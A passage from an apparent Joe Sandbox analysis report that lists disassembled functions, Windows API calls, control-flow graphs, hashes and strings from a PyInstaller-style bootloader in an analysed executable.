7ff666df6d53-7ff666df6d81 GetLastError call 7ff666de4eec call 7ff666de86d0 746->748 749 7ff666df6d86-7ff666df6d9b 746->749 748->749 749->744
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1617910340-0
                                                                                                                                                                                                                                              • Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
                                                                                                                                                                                                                                              • Instruction ID: ca2d59e845b961d7438fb55b00caa1e7b82bf8f2e99bf483bee3689d72f42772
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: AEC1AE36B28A82C5EB10CF65E4906AC3771E789B98B015335EA2E9F7D5DF3AD451CB00
                                                                                                                                                                                                                                              Function 00007FF666DD83B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • FindFirstFileW.KERNELBASE(?,00007FF666DD8B09,00007FF666DD3FA5), ref: 00007FF666DD841B
                                                                                                                                                                                                                                              • RemoveDirectoryW.KERNEL32(?,00007FF666DD8B09,00007FF666DD3FA5), ref: 00007FF666DD849E
                                                                                                                                                                                                                                              • DeleteFileW.KERNELBASE(?,00007FF666DD8B09,00007FF666DD3FA5), ref: 00007FF666DD84BD
                                                                                                                                                                                                                                              • FindNextFileW.KERNELBASE(?,00007FF666DD8B09,00007FF666DD3FA5), ref: 00007FF666DD84CB
                                                                                                                                                                                                                                              • FindClose.KERNEL32(?,00007FF666DD8B09,00007FF666DD3FA5), ref: 00007FF666DD84DC
                                                                                                                                                                                                                                              • RemoveDirectoryW.KERNELBASE(?,00007FF666DD8B09,00007FF666DD3FA5), ref: 00007FF666DD84E5
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
                                                                                                                                                                                                                                              • String ID: %s\*
                                                                                                                                                                                                                                              • API String ID: 1057558799-766152087
                                                                                                                                                                                                                                              • Opcode ID: 39a93d91a788addd72801eeb202cf5dd5373a6ceabdc1da620128e14205563d9
                                                                                                                                                                                                                                              • Instruction ID: b60b26cdc1c72332c35724a4e531deacc59d433dbc29a458f23ac94cc40ab52b
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 39a93d91a788addd72801eeb202cf5dd5373a6ceabdc1da620128e14205563d9
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 5F417121A0CA42D5EA21AB24F8545B96375FB98B54F801332D99DCF6D4DF3EE54A8F00
                                                                                                                                                                                                                                              Function 00007FF666DF5EEC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143timeCOMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 1012 7ff666df5eec-7ff666df5f21 call 7ff666df55f8 call 7ff666df5600 call 7ff666df5668 1019 7ff666df605f-7ff666df60cd call 7ff666dea970 call 7ff666df15e8 1012->1019 1020 7ff666df5f27-7ff666df5f32 call 7ff666df5608 1012->1020 1031 7ff666df60cf-7ff666df60d6 1019->1031 1032 7ff666df60db-7ff666df60de 1019->1032 1020->1019 1025 7ff666df5f38-7ff666df5f43 call 7ff666df5638 1020->1025 1025->1019 1033 7ff666df5f49-7ff666df5f6c call 7ff666dea9b8 GetTimeZoneInformation 1025->1033 1034 7ff666df616b-7ff666df616e 1031->1034 1035 7ff666df6115-7ff666df6128 call 7ff666ded66c 1032->1035 1036 7ff666df60e0 1032->1036 1042 7ff666df6034-7ff666df605e call 7ff666df55f0 call 7ff666df55e0 call 7ff666df55e8 1033->1042 1043 7ff666df5f72-7ff666df5f93 1033->1043 1038 7ff666df6174-7ff666df617c call 7ff666df5c70 1034->1038 1039 7ff666df60e3 call 7ff666df5eec 1034->1039 1052 7ff666df6133-7ff666df614e call 7ff666df15e8 1035->1052 1053 7ff666df612a 1035->1053 1036->1039 1047 7ff666df60e8-7ff666df6114 call 7ff666dea9b8 call 7ff666ddc5c0 1038->1047 1039->1047 1048 7ff666df5f95-7ff666df5f9b 1043->1048 1049 7ff666df5f9e-7ff666df5fa5 1043->1049 1048->1049 1055 7ff666df5fb9 1049->1055 1056 7ff666df5fa7-7ff666df5faf 1049->1056 1070 7ff666df6155-7ff666df6167 call 7ff666dea9b8 1052->1070 1071 7ff666df6150-7ff666df6153 1052->1071 1058 7ff666df612c-7ff666df6131 call 7ff666dea9b8 1053->1058 1061 7ff666df5fbb-7ff666df602f call 7ff666dfa540 * 4 call 7ff666df2bcc call 7ff666df6184 * 2 1055->1061 1056->1055 1062 7ff666df5fb1-7ff666df5fb7 1056->1062 1058->1036 1061->1042 1062->1061 1070->1034 1071->1058
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF666DF5F1A
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DF5668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF666DF567C
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF666DF5F2B
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DF5608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF666DF561C
                                                                                                                                                                                                                                              • _get_daylight.LIBCMT ref: 00007FF666DF5F3C
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DF5638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF666DF564C
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DEA9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF666DF2D92,?,?,?,00007FF666DF2DCF,?,?,00000000,00007FF666DF3295,?,?,?,00007FF666DF31C7), ref: 00007FF666DEA9CE
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DEA9B8: GetLastError.KERNEL32(?,?,?,00007FF666DF2D92,?,?,?,00007FF666DF2DCF,?,?,00000000,00007FF666DF3295,?,?,?,00007FF666DF31C7), ref: 00007FF666DEA9D8
                                                                                                                                                                                                                                              • GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF666DF617C), ref: 00007FF666DF5F63
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
                                                                                                                                                                                                                                              • String ID: Eastern Standard Time$Eastern Summer Time
                                                                                                                                                                                                                                              • API String ID: 3458911817-239921721
                                                                                                                                                                                                                                              • Opcode ID: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
                                                                                                                                                                                                                                              • Instruction ID: b77e554931e22994dd6d2786cf740e819c6432942661d719c98297f51a1da374
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8084827ab6892e9bf44fc7ae7df730cc4e836e683a41a1d7f4ca7a201d78ec16
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 88514632A18682C6E710DF22F891579A770BB98784F458235EA5DCFB96DF3EE4418F40
                                                                                                                                                                                                                                              Function 00007FF666DD92F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Find$CloseFileFirst
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2295610775-0
                                                                                                                                                                                                                                              • Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
                                                                                                                                                                                                                                              • Instruction ID: 22fbc95af66d89bf5490f7fd657f2a71cb0aeb8b4be1730e805e247d5598c7a3
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 63F04462A18741C6F7A09B60F4597667360AB88774F040335DA6D4E6D4DF3DE0598F00
                                                                                                                                                                                                                                              Function 00007FF666DF0938 Relevance: 2.0, APIs: 1, Instructions: 461COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentFeaturePresentProcessProcessor
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1010374628-0
                                                                                                                                                                                                                                              • Opcode ID: 10bf4b1f0472125ada9b1d6b923a92a2d49e498fcbab652d34985a7b27debbff
                                                                                                                                                                                                                                              • Instruction ID: dacc42f8f68e8407ea7449bfcac1289a66f8550c43a7ea548a7316ca30de01ea
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 10bf4b1f0472125ada9b1d6b923a92a2d49e498fcbab652d34985a7b27debbff
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: EB02C021A1D683C5FA61AB15B82027966B0AF85BE0F898735ED5DCF3D1DE3FA4418B40
                                                                                                                                                                                                                                              Function 00007FF666DD1950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 329 7ff666dd1950-7ff666dd198b call 7ff666dd45b0 332 7ff666dd1c4e-7ff666dd1c72 call 7ff666ddc5c0 329->332 333 7ff666dd1991-7ff666dd19d1 call 7ff666dd7f80 329->333 338 7ff666dd1c3b-7ff666dd1c3e call 7ff666de00bc 333->338 339 7ff666dd19d7-7ff666dd19e7 call 7ff666de0744 333->339 343 7ff666dd1c43-7ff666dd1c4b 338->343 344 7ff666dd1a08-7ff666dd1a24 call 7ff666de040c 339->344 345 7ff666dd19e9-7ff666dd1a03 call 7ff666de4f78 call 7ff666dd2910 339->345 343->332 351 7ff666dd1a45-7ff666dd1a5a call 7ff666de4f98 344->351 352 7ff666dd1a26-7ff666dd1a40 call 7ff666de4f78 call 7ff666dd2910 344->352 345->338 358 7ff666dd1a7b-7ff666dd1afc call 7ff666dd1c80 * 2 call 7ff666de0744 351->358 359 7ff666dd1a5c-7ff666dd1a76 call 7ff666de4f78 call 7ff666dd2910 351->359 352->338 371 7ff666dd1b01-7ff666dd1b14 call 7ff666de4fb4 358->371 359->338 374 7ff666dd1b35-7ff666dd1b4e call 7ff666de040c 371->374 375 7ff666dd1b16-7ff666dd1b30 call 7ff666de4f78 call 7ff666dd2910 371->375 381 7ff666dd1b6f-7ff666dd1b8b call 7ff666de0180 374->381 382 7ff666dd1b50-7ff666dd1b6a call 7ff666de4f78 call 7ff666dd2910 374->382 375->338 388 7ff666dd1b9e-7ff666dd1bac 381->388 389 7ff666dd1b8d-7ff666dd1b99 call 7ff666dd2710 381->389 382->338 388->338 392 7ff666dd1bb2-7ff666dd1bb9 388->392 389->338 395 7ff666dd1bc1-7ff666dd1bc7 392->395 396 7ff666dd1be0-7ff666dd1bef 395->396 397 7ff666dd1bc9-7ff666dd1bd6 395->397 396->396 398 7ff666dd1bf1-7ff666dd1bfa 396->398 397->398 399 7ff666dd1c0f 398->399 400 7ff666dd1bfc-7ff666dd1bff 398->400 402 7ff666dd1c11-7ff666dd1c24 399->402 400->399 401 7ff666dd1c01-7ff666dd1c04 400->401 401->399 403 7ff666dd1c06-7ff666dd1c09 401->403 404 7ff666dd1c2d-7ff666dd1c39 402->404 405 7ff666dd1c26 402->405 403->399 406 7ff666dd1c0b-7ff666dd1c0d 403->406 404->338 404->395 405->404 406->402
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD7F80: _fread_nolock.LIBCMT ref: 00007FF666DD802A
                                                                                                                                                                                                                                              • _fread_nolock.LIBCMT ref: 00007FF666DD1A1B
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD2910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF666DD1B6A), ref: 00007FF666DD295E
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _fread_nolock$CurrentProcess
                                                                                                                                                                                                                                              • String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
                                                                                                                                                                                                                                              • API String ID: 2397952137-3497178890
                                                                                                                                                                                                                                              • Opcode ID: fb8dace35f984c3c8d59b22f0dfd890ef8918d876ac5e0f6e5e6b76f1e80faa4
                                                                                                                                                                                                                                              • Instruction ID: 75d80522a6082ddee85152527466a2c0804ab19a1ba1ae1b3f634a39a6721c56
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: fb8dace35f984c3c8d59b22f0dfd890ef8918d876ac5e0f6e5e6b76f1e80faa4
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 64817E71A0C686C5EB60EB24F4416B963B1EF88784F444635EA8DCF785DE3EE5858F40
                                                                                                                                                                                                                                              Function 00007FF666DD1600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                              control_flow_graph 407 7ff666dd1600-7ff666dd1611 408 7ff666dd1613-7ff666dd161c call 7ff666dd1050 407->408 409 7ff666dd1637-7ff666dd1651 call 7ff666dd45b0 407->409 414 7ff666dd162e-7ff666dd1636 408->414 415 7ff666dd161e-7ff666dd1629 call 7ff666dd2710 408->415 416 7ff666dd1682-7ff666dd169c call 7ff666dd45b0 409->416 417 7ff666dd1653-7ff666dd1681 call 7ff666de4f78 call 7ff666dd2910 409->417 415->414 423 7ff666dd169e-7ff666dd16b3 call 7ff666dd2710 416->423 424 7ff666dd16b8-7ff666dd16cf call 7ff666de0744 416->424 431 7ff666dd1821-7ff666dd1824 call 7ff666de00bc 423->431 432 7ff666dd16d1-7ff666dd16f4 call 7ff666de4f78 call 7ff666dd2910 424->432 433 7ff666dd16f9-7ff666dd16fd 424->433 439 7ff666dd1829-7ff666dd183b 431->439 445 7ff666dd1819-7ff666dd181c call 7ff666de00bc 432->445 436 7ff666dd16ff-7ff666dd170b call 7ff666dd1210 433->436 437 7ff666dd1717-7ff666dd1737 call 7ff666de4fb4 433->437 442 7ff666dd1710-7ff666dd1712 436->442 446 7ff666dd1761-7ff666dd176c 437->446 447 7ff666dd1739-7ff666dd175c call 7ff666de4f78 call 7ff666dd2910 437->447 442->445 445->431 451 7ff666dd1802-7ff666dd180a call 7ff666de4fa0 446->451 452 7ff666dd1772-7ff666dd1777 446->452 459 7ff666dd180f-7ff666dd1814 447->459 451->459 454 7ff666dd1780-7ff666dd17a2 call 7ff666de040c 452->454 462 7ff666dd17a4-7ff666dd17bc call 7ff666de0b4c 454->462 463 7ff666dd17da-7ff666dd17e6 call 7ff666de4f78 454->463 459->445 468 7ff666dd17c5-7ff666dd17d8 call 7ff666de4f78 462->468 469 7ff666dd17be-7ff666dd17c1 462->469 470 7ff666dd17ed-7ff666dd17f8 call 7ff666dd2910 463->470 468->470 469->454 471 7ff666dd17c3 469->471 474 7ff666dd17fd 470->474 471->474 474->451
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CurrentProcess
                                                                                                                                                                                                                                              • String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
                                                                                                                                                                                                                                              • API String ID: 2050909247-1550345328
                                                                                                                                                                                                                                              • Opcode ID: 23ac436432f69dff89e67b7c3031c819f54d06e4f97595c0cc87ed9803ad40dc
                                                                                                                                                                                                                                              • Instruction ID: f0a66c82864ea9955d9c760e3f13c5e22b96c9ea85aa851818038cc9fa3f0d8a
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 23ac436432f69dff89e67b7c3031c819f54d06e4f97595c0cc87ed9803ad40dc
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 77515A61E08643E2EA10AB61B8015B963B0FF84B98F444731EE4C8F7D6DE3EE5558F40
                                                                                                                                                                                                                                              Function 00007FF666DD8850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetTempPathW.KERNEL32(?,?,00000000,00007FF666DD3CBB), ref: 00007FF666DD88F4
                                                                                                                                                                                                                                              • GetCurrentProcessId.KERNEL32(?,00000000,00007FF666DD3CBB), ref: 00007FF666DD88FA
                                                                                                                                                                                                                                              • CreateDirectoryW.KERNELBASE(?,00000000,00007FF666DD3CBB), ref: 00007FF666DD893C
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD8A20: GetEnvironmentVariableW.KERNEL32(00007FF666DD388E), ref: 00007FF666DD8A57
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD8A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF666DD8A79
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DE82A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF666DE82C1
                                                                                                                                                                                                                                                • Part of subcall function 00007FF666DD2810: MessageBoxW.USER32 ref: 00007FF666DD28EA
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
                                                                                                                                                                                                                                              • API String ID: 3563477958-1339014028
                                                                                                                                                                                                                                              • Opcode ID: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
                                                                                                                                                                                                                                              • Instruction ID: b6012a8233333ae018d3dc0b95dad620583a8e185e86d44972e6a385b432643d
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C3418F11A19A82E4FA21BB65B8552B953B0AF89B84F805331ED0DCF7D6DE3EE505DF00
                                                                                                                                                                                                                                              Function 00007FF666DD1210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                              • Not Executed
